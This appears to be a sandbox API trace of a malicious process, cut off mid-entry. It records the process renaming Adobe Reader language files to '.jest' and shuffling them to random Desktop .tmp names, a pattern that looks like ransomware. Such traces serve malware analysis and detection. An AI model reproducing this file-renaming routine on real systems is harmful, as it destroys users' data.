0x6b [0151.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.106] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲啟⹁硴t") returned 0x6b [0151.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt") returned 108 [0151.107] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲啟⹁硴⹴敪瑳") returned 0x70 [0151.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.107] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲啟⹁硴⹴敪瑳") returned 0x70 [0151.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x144bb04, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt.jest") returned 113 [0151.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt", lpUsedDefaultChar=0x0) returned 108 [0151.107] VarBstrFromR4 (in: fltIn=0x47945065, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.79") returned 0x0 [0151.108] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.108] CoFreeUnusedLibraries () [0151.108] GetTickCount () returned 0x11578b9 [0151.108] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.108] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.108] GetTickCount () returned 0x11578b9 [0151.108] IsWindowVisible (hWnd=0x30268) returned 0 [0151.108] Sleep (dwMilliseconds=0x0) [0151.110] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\71MD jOacYPJwp24KFS5742sQwD9bVW-vTUZIqQ-FIZf65J3jl8D_VT4IuW3QYt-kW-X7oYBB4NHQQcmjXyZUs41h7UdTZ39WIBJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\71md joacypjwp24kfs5742sqwd9bvw-vtuziqq-fizf65j3jl8d_vt4iuw3qyt-kw-x7oybb4nhqqcmjxyzus41h7udtz39wibj.tmp")) returned 0 [0151.110] GetLastError () returned 0x2 [0151.111] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.111] CoFreeUnusedLibraries () [0151.111] GetTickCount () returned 0x11578c9 [0151.111] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.111] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.111] GetTickCount () returned 0x11578c9 [0151.111] IsWindowVisible (hWnd=0x30268) returned 0 [0151.111] Sleep (dwMilliseconds=0x0) [0151.112] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt.jest")) returned 1 [0151.113] GetLastError () returned 0x0 [0151.113] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲琮瑸") returned 0x68 [0151.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.113] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲琮瑸") returned 0x68 [0151.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x144bb04, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt") returned 105 [0151.113] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲琮瑸樮獥t") returned 0x6d [0151.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.113] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲琮瑸樮獥t") returned 0x6d [0151.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=110, lpWideCharStr=0x144ddec, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt.jest") returned 110 [0151.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt", lpUsedDefaultChar=0x0) returned 105 [0151.114] VarBstrFromR4 (in: fltIn=0x47945067, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.8") returned 0x0 [0151.114] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.114] CoFreeUnusedLibraries () [0151.114] GetTickCount () returned 0x11578c9 [0151.114] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.114] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.114] GetTickCount () returned 0x11578c9 [0151.114] IsWindowVisible (hWnd=0x30268) returned 0 [0151.115] Sleep (dwMilliseconds=0x0) [0151.116] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pFl7SlyfEZ4RtkmGQdKQn1GomWqGiO0O_ntganrCZuVmMgMy_Ojeckj3VcXUSA78rPCGkMToy9P_ITLzkn5RsTu8zRGySbELqR5C-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pfl7slyfez4rtkmgqdkqn1gomwqgio0o_ntganrczuvmmgmy_ojeckj3vcxusa78rpcgkmtoy9p_itlzkn5rstu8zrgysbelqr5c-.tmp")) returned 0 [0151.116] GetLastError () returned 0x2 [0151.117] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.117] CoFreeUnusedLibraries () [0151.117] GetTickCount () returned 0x11578c9 [0151.117] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.117] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.117] GetTickCount () returned 0x11578c9 [0151.117] IsWindowVisible (hWnd=0x30268) returned 0 [0151.117] Sleep (dwMilliseconds=0x0) [0151.118] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt.jest")) returned 1 [0151.119] GetLastError () returned 0x0 [0151.119] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲剟⹏硴t") returned 0x6b [0151.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.119] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲剟⹏硴t") returned 0x6b [0151.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=108, lpWideCharStr=0x1467bd4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt") returned 108 [0151.120] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲剟⹏硴⹴敪瑳") returned 0x70 [0151.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.120] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潲剟⹏硴⹴敪瑳") returned 0x70 [0151.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt.jest") returned 113 [0151.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt", lpUsedDefaultChar=0x0) returned 108 [0151.120] VarBstrFromR4 (in: fltIn=0x47945067, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.8") returned 0x0 [0151.121] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.121] CoFreeUnusedLibraries () [0151.121] GetTickCount () returned 0x11578c9 [0151.121] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.121] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.121] GetTickCount () returned 0x11578c9 [0151.121] IsWindowVisible (hWnd=0x30268) returned 0 [0151.121] Sleep (dwMilliseconds=0x0) [0151.122] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0qwiyYMbeoMhYwZ_VuKy-nZ6 p3pvfd1_SBpcTlekJ4JTKBIdfRTTsg5CN03U9qYOWOT9wTuI-R7nISku64v2LL7iDg1Tp_DO12.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0qwiyymbeomhywz_vuky-nz6 p3pvfd1_sbpctlekj4jtkbidfrttsg5cn03u9qyowot9wtui-r7nisku64v2ll7idg1tp_do12.tmp")) returned 0 [0151.122] GetLastError () returned 0x2 [0151.123] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.123] CoFreeUnusedLibraries () [0151.123] GetTickCount () returned 0x11578c9 [0151.123] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.123] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.123] GetTickCount () returned 0x11578c9 [0151.123] IsWindowVisible (hWnd=0x30268) returned 0 [0151.123] Sleep (dwMilliseconds=0x0) [0151.125] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt.jest")) returned 1 [0151.126] GetLastError () returned 0x0 [0151.126] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰琮瑸") returned 0x68 [0151.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.126] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰琮瑸") returned 0x68 [0151.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=105, lpWideCharStr=0x146c82c, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt") returned 105 [0151.126] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰琮瑸樮獥t") returned 0x6d [0151.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.126] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰琮瑸樮獥t") returned 0x6d [0151.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=110, lpWideCharStr=0x144ddec, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt.jest") returned 110 [0151.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt", lpUsedDefaultChar=0x0) returned 105 [0151.127] VarBstrFromR4 (in: fltIn=0x47945069, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.82") returned 0x0 [0151.127] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.127] CoFreeUnusedLibraries () [0151.127] GetTickCount () returned 0x11578d8 [0151.128] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.128] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.128] GetTickCount () returned 0x11578d8 [0151.128] IsWindowVisible (hWnd=0x30268) returned 0 [0151.128] Sleep (dwMilliseconds=0x0) [0151.129] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N4I6_Ho YxdBTpfatqk6ItyoHV7l0BYzXM8K8dihqAWB5iQEKcw-E1gGOSaJQjGRCam3ySW_E2TLnBjdCugqTpjrlToU_2BXv6ti.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n4i6_ho yxdbtpfatqk6ityohv7l0byzxm8k8dihqawb5iqekcw-e1ggosajqjgrcam3ysw_e2tlnbjdcugqtpjrltou_2bxv6ti.tmp")) returned 0 [0151.129] GetLastError () returned 0x2 [0151.130] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.130] CoFreeUnusedLibraries () [0151.130] GetTickCount () returned 0x11578d8 [0151.130] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.130] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.130] GetTickCount () returned 0x11578d8 [0151.130] IsWindowVisible (hWnd=0x30268) returned 0 [0151.130] Sleep (dwMilliseconds=0x0) [0151.132] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt.jest")) returned 1 [0151.133] GetLastError () returned 0x0 [0151.133] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰偟⹌硴t") returned 0x6b [0151.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.133] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰偟⹌硴t") returned 0x6b [0151.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt") returned 108 [0151.133] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰偟⹌硴⹴敪瑳") returned 0x70 [0151.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.133] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汰偟⹌硴⹴敪瑳") returned 0x70 [0151.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt.jest") returned 113 [0151.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt", lpUsedDefaultChar=0x0) returned 108 [0151.134] VarBstrFromR4 (in: fltIn=0x47945069, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.82") returned 0x0 [0151.134] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.134] CoFreeUnusedLibraries () [0151.134] GetTickCount () returned 0x11578d8 [0151.134] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.134] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.134] GetTickCount () returned 0x11578d8 [0151.134] IsWindowVisible (hWnd=0x30268) returned 0 [0151.134] Sleep (dwMilliseconds=0x0) [0151.136] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-vteezKOm517-MAeaZH7eydw2sKddCGjbtGpBjGGldAdXBKM06QJBrtPALlC9I9_F7Wg9VlA05lwI_Ow6loXq8qu_l0WP6ndif.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-vteezkom517-maeazh7eydw2skddcgjbtgpbjggldadxbkm06qjbrtpallc9i9_f7wg9vla05lwi_ow6loxq8qu_l0wp6ndif.tmp")) returned 0 [0151.136] GetLastError () returned 0x2 [0151.136] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.136] CoFreeUnusedLibraries () [0151.136] GetTickCount () returned 0x11578d8 [0151.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.136] GetTickCount () returned 0x11578d8 [0151.137] IsWindowVisible (hWnd=0x30268) returned 0 [0151.137] Sleep (dwMilliseconds=0x0) [0151.138] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt.jest")) returned 1 [0151.139] GetLastError () returned 0x0 [0151.139] SysStringByteLen 